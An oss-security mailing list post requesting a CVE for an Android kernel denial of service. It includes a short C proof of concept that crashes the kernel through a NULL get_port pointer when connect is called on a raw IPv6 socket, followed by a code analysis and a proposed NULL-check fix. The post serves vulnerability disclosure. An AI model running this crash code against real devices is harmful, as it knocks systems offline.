Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
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Date: Wed, 9 Dec 2015 10:15:46 +0000
From: 郭永刚 <guoyonggang@....cn>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: CVE request - Android kernel - IPv6 connect cause a denial of
 service


POC:
#include <linux/types.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <netinet/in.h>
int main(void){

         int socket_fd;
         struct sockaddr_in addr;
         addr.sin_port = 0;
         addr.sin_addr.s_addr = INADDR_ANY;
         addr.sin_family = 10;

         socket_fd = socket(10,3,0x40000000);
         connect(socket_fd , &addr,16);

         return 0;

}

Analysis of causes:
In the file net/ipv4/af_inet.c , It will cause pc is 0x0  , if the sk->sk_prot->get_port is NULL.
static int inet_autobind(struct sock *sk)
{
         struct inet_sock *inet;
         /* We may need to bind the socket. */
         lock_sock(sk);
         inet = inet_sk(sk);
         if (!inet->inet_num) {
                   if (sk->sk_prot->get_port(sk, 0)) {
                            release_sock(sk);
                            return -EAGAIN;
                   }
                   inet->inet_sport = htons(inet->inet_num);
         }
         release_sock(sk);
         return 0;
}

Solution:

         Add check as follow:
                  if (sk->sk_prot->get_port &&sk->sk_prot->get_port(sk, 0)) {
                            release_sock(sk);
                            return -EAGAIN;
                   }

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